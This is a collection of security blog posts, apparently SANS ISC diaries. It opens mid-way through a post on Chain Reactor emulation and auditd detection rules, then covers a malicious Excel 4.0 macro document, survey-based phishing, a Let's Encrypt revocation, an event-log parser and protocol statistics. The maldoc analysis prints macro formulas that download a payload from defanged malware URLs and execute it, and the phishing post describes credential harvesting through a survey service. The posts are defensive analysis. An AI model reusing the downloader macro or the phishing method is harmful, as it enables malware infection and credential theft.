For the more specific nuances of how Chain Reactor seeks to achieve these goals, see the details, as well as the installation process on the project GitHub repository.

Chain Reactor includes examples specific to detection and visibility. The detection example includes a whois transfer, a visit to a pastesite, an execution in shared memory, and a hidden process creation.
The visibility examples include network examples for both connections and listeners. The listener sets up TCP and UDP listeners for localhost that should likely never be there i.e. port 12400 through 12407.
First a look at the network connection example that goes loud to a variety of DNS services as seen via visibility_network_connect_atoms.json in /chain-reactor-master/examples/visibility/network/connect. Atom content is seen in Figure 1.

Figure 1: Network visibility atoms

To create an ELF executable for the network visibility connections example, execute the following:

python3 compose_reaction examples/visibility/network/connect/visibility_network_connect_atoms.json examples/visibility/network/connect/visibility_network_connect_reaction.json networkConnect

Executing the reaction is as easy as ./networkConnect. The execution output is seen in Figure 2.

Figure 2: Reaction output

As we’ve laid claim to visibility in this scenario, no better way to see the results of the reaction via tcpdump, as seen in Figure 3.

Figure 3: tcpdump result

Chain Reactor’s detection example is a great way to test your auditd configuration. What!? Wait, you’re not running auditd? Let’s fix that (assumes Ubuntu 18.04).

sudo apt install -y auditd audispd-plugins

You’ll need to update your audit rules with a worthy audit.rules file. I am already a Florian Roth fan, he of Sigma, YARA, and Nextron fame; his audit.rules file for auditd is spot on. It already includes detection for the likes of curl as used by the detection reaction, I added an entry for whois as well: -w /usr/bin/whois -p x -k recon. Assuming a fresh install, copy this audit.rules to /etc/audit/rules.d and overwrite any existing file. You should run sudo service auditd restart to generate a new audit.rules file in /etc/audit. The service reads from rules.d to do so automatically.
Now, back to Chain Reactor. I compiled the detection example with

python3 compose_reaction examples/detection/example/detection_example_atoms.json examples/detection/example/detection_example_reaction.json detectMe

then fired it off with ./detectMe.
This reaction executing follows in Figure 4.

Figure 4: detection reaction

You can easily see the curl and whois references, the curl call is something you may want to flag similar instances of, particular to paste sites. To review auditd’s log output from /var/log/audit/audit.log one need only use ausearch.
ausearch -x whois results in Figure 5.

Figure 5: ausearch whois

Note the redcanary.com reference about two-thirds to the bottom of the Figure 5, clearly indicating auditd flagged the use of whois. If this was of concern to you, put a detection in place, fire an alert and take action. But thanks to the likes of Chain Reactor you can validate the detection in advance, emulating the behavior of concern.
Similarly, ausearch -x curl results are seen in Figure 6.

Figure 6: ausearch curl

Again, the likes of a trigger for curl requests to paste sites should likely be a worthy detection, be sure to validate with emulation courtesy of Chain Reaction via quarks, atoms, and reactions. The auditd audit.rules set is also highly configurable to your preferences and detection goals. Likewise, reactions are equally and easily configurable to your adversary emulation goals.
Kudos to the Red Canary team for this work, and Atomic Red Team. I look forward to seeing what comes next from this crew.

Cheers…until next time.

Russ McRee | @holisticinfosec

I discovered a nice sample yesterday. This excel sheet was found in a mail flagged as “suspicious” by a security appliance. The recipient asked to release the mail from the quarantine because “it was sent from a known contact”. Before releasing such a mail from the quarantine, the process in place is to have a quick look at the file to ensure that it is safe to be released.

The file is called 'Info01.xls' (SHA256:89e6e635c1101a6a89d3abbb427551fd9b0c1e9695d22fa44dd480bf6026c44c) is a VT score of 0/59[1]. Yes, you read it correctly, it remains undetected by antivirus solutions!

Just by opening the file, it looks of course suspicious:

Just by having a look at the strings in the file, we can spot interesting info:

root@remnux:/malzoo# strings Info01.xls | egrep -i "(http|url|exe)"
urlmon
URLDownloadToFileA
hxxp://samphaopet[.]com/wp-content/uploads/2020/02/idle/111111.png
c:\Users\Public\asd2asff32.exe
urlmon
URLDownloadToFileA
hxxp://icietdemain[.]fr/contents/2020/02/idle/222222.png
c:\Users\Public\asd2asff32.exe
urlmon
URLDownloadToFileA
hxxp://careers[.]sorint[.]it/idle/33333.png
c:\Users\Public\asd2asff32.exe
urlmon
URLDownloadToFileA
hxxp://uniluisgpaez[.]edu[.]co/wp-content/uploads/2020/02/idle/444444.png
c:\Users\Public\asd2asff32.exe

The classic checks did not reveal any interesting nor malicious details. Also, no VBA macro:

root@remnux:/malzoo# oledump.py Info01.xls 
  1:      4096 '\x05DocumentSummaryInformation'
  2:       240 '\x05SummaryInformation'
  3:    101978 'Workbook'

Maybe, the macro code has been removed by using the “VBA stomping” technique[2]? Again, a negative result:

root@remnux:/malzoo# pcodedmp.py -d Info01.xls
Processing file: Info01.xls

The next technique to test is the presence of an Excel 4 Macro[3]. By default, I’m using a Remnux distribution to analyze malicious files but it did not work:

root@remnux:/malzoo# oledump.py -p plugin_biff.py --pluginoptions "-x" Info01.xls
  1:      4096 '\x05DocumentSummaryInformation'
  2:       240 '\x05SummaryInformation'
  3:    101978 'Workbook'
Usage: oledump.py [options]
oledump.py: error: no such option: -x

The option '-x' filters results and returns only information related to the macro. After a quick chat with Didier Stevens, it appeared that oledump.py on the Remnux is quite outdated and does not have all options. Let’s upgrade and re-test:

root@ubuntu:/malzoo# oledump.py -p plugin_biff --pluginoptions "-x" ../Info01.xls 
  1:      4096 '\x05DocumentSummaryInformation'
  2:       240 '\x05SummaryInformation'
  3:    101978 'Workbook'
               Plugin: BIFF plugin 
                 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible
                 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden
                 '0018     31 LABEL : Cell Value, String Constant - \x00asdfafwe'
                 0018     23 LABEL : Cell Value, String Constant - build-in-name 1 Auto_Open
                 '0018     28 LABEL : Cell Value, String Constant - \x00rewtr'
                 '0018     29 LABEL : Cell Value, String Constant - \x00rwth54'
                 "0006     51 FORMULA : Cell Formula - R1C1 len=29 ptgInt 42 ptgFuncV GET.WORKSPACE (0x00ba) ptgAttr ptgMissArg ptgAttr ptgBool  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: '\\x01B\\x01\\x10\\x80\\x19\\x08\\x03\\x00B\\x03\\x01\\x00'"
                 0006     28 FORMULA : Cell Formula - R2C1 len=6 ptgInt 13 ptgFuncV GET.WORKSPACE (0x00ba) 
                 0006     28 FORMULA : Cell Formula - R3C1 len=6 ptgInt 14 ptgFuncV GET.WORKSPACE (0x00ba) 
                 "0006     58 FORMULA : Cell Formula - R4C1 len=36 ptgRefV R~1C~0 ptgInt 770 ptgLT  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression:
'\\x19\\x02\\x0e\\x00\\x1d\\x00\\x19@\\x00\\x01B\\x01\\x10\\x80\\x19\\x08\\x08\\x00\\x16\\x19\\x08\\x03\\x00B\\x03\\x01\\x00'"
                 "0006     58 FORMULA : Cell Formula - R5C1 len=36 ptgRefV R~2C~0 ptgInt 380 ptgLT  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression:
'\\x19\\x02\\x0e\\x00\\x1d\\x00\\x19@\\x00\\x01B\\x01\\x10\\x80\\x19\\x08\\x08\\x00\\x16\\x19\\x08\\x03\\x00B\\x03\\x01\\x00'"
                 "0006     51 FORMULA : Cell Formula - R6C1 len=29 ptgInt 19 ptgFuncV GET.WORKSPACE (0x00ba) ptgAttr ptgMissArg ptgAttr ptgBool  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: '\\x01B\\x01\\x10\\x80\\x19\\x08\\x03\\x00B\\x03\\x01\\x00'"
                 '0006    174 FORMULA : Cell Formula - R7C1 len=152 ptgStr "urlmon" ptgStr "URLDownloadToFileA" ptgStr "JJCCJJ" ptgInt 0 ptgStr "hxxp://samphaopet[.]com/wp-content/uploads/2020/02/idle/111111.png" ptgStr "c:\\Users\\Public\\asd2asff32.exe" ptgInt 0 ptgInt 0 ptgFuncVarV args 8 func CALL (0x0096) '
                 '0006    205 FORMULA : Cell Formula - R8C1 len=183 ptgRefV R~6C~0 ptgInt 0 ptgLT  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: \'\\x19\\x02\\x96\\x00\\x17\\x06\\x00urlmon\\x17\\x12\\x00URLDownloadToFileA\\x17\\x06\\x00JJCCJJ\\x1e\\x00\\x00\\x176\\x00hxxp://icietdemain[.]fr/contents/2020/02/idle/222222.png\\x17\\x1e\\x00c:\\\\Users\\\\Public\\\\asd2asff32.exe\\x1e\\x00\\x00\\x1e\\x00\\x00\\x19@\\x00\\x01"\\x08\\x96\\x00\\x19\\x08\\x13\\x00$\\x0b\\x00\\x00\\xc0\\x19@\\x00\\x01A5\\x00\\x19\\x08\\x03\\x00B\\x03\\x01\\x00\''
                 '0006    190 FORMULA : Cell Formula - R9C1 len=168 ptgRefV R~7C~0 ptgInt 0 ptgLT  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: \'\\x19\\x02\\x87\\x00\\x17\\x06\\x00urlmon\\x17\\x12\\x00URLDownloadToFileA\\x17\\x06\\x00JJCCJJ\\x1e\\x00\\x00\\x17\\\'\\x00hxxp://careers[.]sorint[.]it/idle/33333.png\\x17\\x1e\\x00c:\\\\Users\\\\Public\\\\asd2asff32.exe\\x1e\\x00\\x00\\x1e\\x00\\x00\\x19@\\x00\\x01"\\x08\\x96\\x00\\x19\\x08\\x13\\x00$\\x0b\\x00\\x00\\xc0\\x19@\\x00\\x01A5\\x00\\x19\\x08\\x03\\x00B\\x03\\x01\\x00\''
                 '0006    220 FORMULA : Cell Formula - R10C1 len=198 ptgRefV R~8C~0 ptgInt 0 ptgLT  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: \'\\x19\\x02\\xa5\\x00\\x17\\x06\\x00urlmon\\x17\\x12\\x00URLDownloadToFileA\\x17\\x06\\x00JJCCJJ\\x1e\\x00\\x00\\x17E\\x00hxxp://uniluisgpaez[.]edu[.]co/wp-content/uploads/2020/02/idle/444444.png\\x17\\x1e\\x00c:\\\\Users\\\\Public\\\\asd2asff32.exe\\x1e\\x00\\x00\\x1e\\x00\\x00\\x19@\\x00\\x01"\\x08\\x96\\x00\\x19\\x08\\x13\\x00$\\x0b\\x00\\x00\\xc0\\x19@\\x00\\x01A5\\x00\\x19\\x08\\x03\\x00B\\x03\\x01\\x00\''
                 "0006     58 FORMULA : Cell Formula - R11C1 len=36 ptgRefV R~9C~0 ptgInt 0 ptgLT  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: '\\x19\\x02\\x0e\\x00\\x1d\\x00\\x19@\\x00\\x01B\\x01\\x10\\x80\\x19\\x08\\x08\\x00\\x16\\x19\\x08\\x03\\x00B\\x03\\x01\\x00'"
                 '0006     59 FORMULA : Cell Formula - R12C1 len=37 ptgStr "c:\\Users\\Public\\asd2asff32.exe" ptgFuncVarV args 1 func EXEC (0x006e) '
                 0006    115 FORMULA : Cell Formula - R13C1 len=93 ptgStr "The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt." ptgInt 2 ptgFuncVarV args 2 func ALERT (0x8076) 
                 "0006     28 FORMULA : Cell Formula - R14C1 len=6 ptgBool  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: '\\x00B\\x01\\x10\\x80'"
                 '0006     45 FORMULA : Cell Formula - R14C8 len=23 ptgStr "e6oGgi9gZN" ptgAttr ptgBool  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: \'\\x01B\\x02\\x7f\\x81\''

Now, we see the URLs found in strings as well as some interesting code.

Indeed, here is the macro sheet 'unhidden':

The macro tries to download the second payload from different sites and executes it:

=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"hxxp://samphaopet[.]com/wp-content/uploads/2020/02/idle/111111.png","c:\Users\Public\asd2asff32.exe",0,0)
=IF(A7<0, CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"hxxp://icietdemain[.]fr/contents/2020/02/idle/222222.png","c:\Users\Public\asd2asff32.exe",0,0), GOTO(A12))
=IF(A8<0, CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"hxxp://careers[.]sorint[.]it/idle/33333.png","c:\Users\Public\asd2asff32.exe",0,0), GOTO(A12))
=IF(A9<0, CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"hxxp://uniluisgpaez[.]edu[.]co/wp-content/uploads/2020/02/idle/444444.png","c:\Users\Public\asd2asff32.exe",0,0), GOTO(A12))
=IF(A10<0, CLOSE(FALSE),)
=EXEC("c:\Users\Public\asd2asff32.exe")

The payload (SHA256:aa5aa800d2c34b82c37178b9a4b4964c2da8d0da9b5ab3a7ff2eb8a2434e70c7) has a VT score of 33/72[4].

To conclude this diary, keep your security toolbox up-to-date to be sure to have all the latest detection capabilities and techniques, especially Didier's tools[5] that are updated quite often! Or, use my Docker with all his tools pre-installed[6].

[1] https://www.virustotal.com/gui/file/89e6e635c1101a6a89d3abbb427551fd9b0c1e9695d22fa44dd480bf6026c44c/detection
[2] https://isc.sans.edu/forums/diary/Malicious+VBA+Office+Document+Without+Source+Code/24870
[3] https://isc.sans.edu/forums/diary/Video+Maldoc+Analysis+Excel+40+Macro/24752
[4] https://www.virustotal.com/gui/file/aa5aa800d2c34b82c37178b9a4b4964c2da8d0da9b5ab3a7ff2eb8a2434e70c7/detection
[5] https://blog.didierstevens.com/my-software/
[6] https://isc.sans.edu/forums/diary/DSSuite+A+Docker+Container+with+Didiers+Tools/24926

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Thanks to one of our readers who submitted this interesting piece of phishing. Personally, I was not aware of this technique which is interesting to bypass common anti-spam filter and reputation systems. The idea is to create a fake survey on a well-known online service.

In this case, the attacker used surveygizmo.com[1] which offers you to build an online presence for surveys or feedback forms. Most of these websites are paid services but offer free trials. Enough to build a phishing campaign.

The generated link is sent to the victim as usual with some social engineering. Here is an example of the link:

hxxps://www[.]surveygizmo[.]com/s3/5485786/Invoice-4982550

The landing page looks like this:

(Note the typo "your o email")

And, once you provided your credentials, the survey immediately ends with this screen:

The attacker just needs to login on his account to access data submitted by victims… You don’t need to deploy or hack a server to host the phishing page, you just use free resources provided by a cloud service. Pretty clever… And, if you’re ready to pay a small fee, you can even build self-branded surveys to increase the chances to lure victims.

[1] https://www.surveygizmo.com/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Let's Encrypt announced that they will be revoking a large number of certificates today. The revocation is due to an error in how "CAA" records were validated for these certificates.

The "CAA" (Certificate Authority Authorization) DNS record can be used to indicate which certificate authority is allowed to issue certificates for the particular domain or subdomain. For example, for DShield.org the record is:

% dig +short CAA dshield.org
0 iodef "mailto:info@dshield.org"
0 issue "letsencrypt.org"

This will allow "letsencrypt.org" to issue certificates, and the CA can notify info@dshield.org whenever it issues a certificate. 

Let's Encrypt checked the CAA records whenever it validated domain ownership. But for Let's Encrypt, domain ownership validation is good for 30 days. If you requested a new certificate within these 30 days, Let's encrypt did not re-check the CAA record. CAA records are only supposed to be cached for up to 8 hrs.

Let's Encrypt published a list of affected certificates [3]. You can search the list for domains you own. Let's Encrypt also emailed the contact they had for the revoked certificates. They will be revoked today. Just as a precaution, you may want to check your site with SSLLabs or other test sides (good idea to do this from time to time :) ).

[1] https://community.letsencrypt.org/t/revoking-certain-certificates-on-march-4/114864
[2] https://tools.ietf.org/html/rfc8659
[3] https://letsencrypt.org/caaproblem/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

This is a guest diary by Ahmed Elshaer.

In this diary, I wanted to talk about Event Explorer EvtxEcmd by SANS Instructor Eric Zimmerman. EvtxEcmd is a Windows Event Log (evtx) parser, that can parse a single event log file or a directory recursively. EvtxEcmd has some great features like:

• Custom Maps to parse different Windows Event IDs
• Ability parse log files from Volume shadows
• Can be used by KAPE!!

Introduction

As we know Starting from Windows VISTA Windows event logs are in C:\windows\system32\winevt\logs\. And they are in Binary XML Format which is a lot easier to work with, performant and enabled Windows to have a lot of more specific Event Log Files.

Example of what I have on my system out of 386 different log files.

 

By looking at the different options offered by the tool we notice it has sets of options. Input options like file or directory, export options like csv, json or xml, other options like include and exclude set of event IDs. We are going to notice very important options like maps which are custom parsing maps for different event IDs, and VSS which mount all volume shadow copies and parses the log files from them and deduplicate the events. Let us not forget to "–sync", which gets the latest Maps from Eric’s Repository.  

How to Use EvtxEcmd:

I’m going to showcase a couple of examples for how to use the tool, and can’t emphasize enough how fast it can process the event logs. Here you can see I’m parsing the Security Log File; it took 12 seconds to process 32951 Events. Exported the logs to a csv file which can be viewed by another great tool from Eric’s Arsenal “Timeline Explorer”.  

It’s important to note here, that all events are normalized across all event types and event log file types. Maps are actually used to convert the custom data from different events types into standard fields.

Another example, I used here VSS option to mount all Volume Shadow Copies and process the Security Event Log, by default the tool will deduplicate the events.  

We can then open any of these exported files with TimeLine Explorer. Here I’m using grouping which makes the investigation a lot easier.

New Maps:

As we all know about the CurveBall Vulnerability which was addressed in CVE-2020-0601, a patched Windows system will write a log in the Application Event Log with Event ID 1 Audit-CVE when a manipulated certificate attempt to be validated. I made a try to update the tool with the latest Maps, and surprisingly I found Eric providing new maps for Audit CVE Events.  

Launching the tool against Application Event Log, and only targeting Event ID 1. This would get us all application logs with event ID 1, but the map Eric provided was specifically to Audit-CVE.

To get a better view in TimeLine Explorer I had to group with Map Description then Group with Payload to only focus on “Cert Validation” Events. Note: below I was testing with Didier Stevens’s “Using CveEventWrite from VBA”, and curveballtest.com.  

Extending Maps:
EvtxEcmd is very extendable and I really recommend taking a lot at different maps and start adding and contributing to the existing maps by finding interesting event IDs and creating a map to parse them. below is the map that parses Application Audit-CVE Event ID 1.  

References:

https://ericzimmerman.github.io/#!index.md
https://github.com/EricZimmerman/evtx/tree/master/EvtxECmd
https://binaryforay.blogspot.com/2019/04/introducing-evtxecmd.html
https://blog.didierstevens.com/2020/01/15/using-cveeventwrite-from-vba-cve-2020-0601/
https://isc.sans.edu/forums/diary/Summing+up+CVE20200601+or+the+Lets+Decrypt+vulnerability/25720/
 

For a very long time, there has been a strong effort aimed toward moving all potentially sensitive network-based communications from unencrypted protocols to the secure and encrypted ones. And with the recently released APWG report noting that 74% of phishing sites used HTTPS in the last quarter of 2019[1] and Apple’s supposed plan to start supporting only TLS certificates with no more than one year period of validity[2], I thought that this might be a good time to take a look the current protocol landscape on the internet. Specifically at how the support for protocols, which offer cryptographic protection to data in transit, has changed in relation to support of cleartext protocols in the last months.

To this end, I analyzed data gathered from Shodan over the last six months – from the beginning of September 2019 to the end of February 2020 – which were related to servers running services on ports 22 and 23 (SSH and Telnet) and 80 and 443 (HTTP and HTTPS). While it is true that other services may be running on these ports than the ones mentioned above, since such configurations are not too usual, they shouldn’t bring too large a variance into our numbers. One last thing, which should be mentioned before we get to the interesting part, is that since timelines formed from absolute values gathered from Shodan often contain quite large peaks and valleys [3], we will take a look at ratios (or rather percentages of the aggregate values) rather than the absolute counts.

Let’s start with HTTP and HTTPS since these protocols differ from the other two, which we are interested in, in that support for the unencrypted one is not necessarily something which we’d want to get rid of. For ease of access, a web server, which supports HTTPS, usually supports HTTP as well and when a browser connects to the server using the cleartext protocol, it is immediately redirected to HTTPS. Keeping this in mind, an ideal state of affairs would be if the ratio between servers supporting HTTP and HTTPS was 1:1, or higher, in favor of the TLS-enabled protocol.

Unfortunately, we’re not quite there yet. On the contrary, near the end of last year, the ratio moved decidedly in favor of HTTP support and at the "lowest" point, it was almost 6:4. Since the start of 2020, a slow relative rise of HTTPS support is apparent, but it is certain, that there will be more servers offering HTTP than HTTPS for a while yet.

In case of Telnet and SSH, the situation is luckily rather different. Unlike with HTTP, there aren’t many reasons to support Telnet and not to use SSH exclusively, especially over the internet. It is therefore not surprising that the ratio between servers supporting Telnet and SSH has been firmly in favor of the encrypted protocol over the last six months. In fact, except for a couple of small drops, the ratio was steadily growing in favor of SSH up to the current state of 4:1.

Of course, these are global data, and situation in specific countries varies widely – to demonstrate this, here are charts for the support of HTTP and HTTPS in China and the United States over the same period (note the significant differences between percentages).

And here are the charts for support of Telnet and SSH in both countries.

[1] https://docs.apwg.org/reports/apwg_trends_report_q4_2019.pdf
[2] https://www.thesslstore.com/blog/ssl-certificate-validity-will-be-limited-to-one-year-by-apples-safari-browser/
[3] https://isc.sans.edu/forums/diary/Did+the+recent+malicious+BlueKeep+campaign+have+any+positive+impact+when+it+comes+to+patching/25506/

-----------
Jan Kopriva
@jk0pr
Alef Nula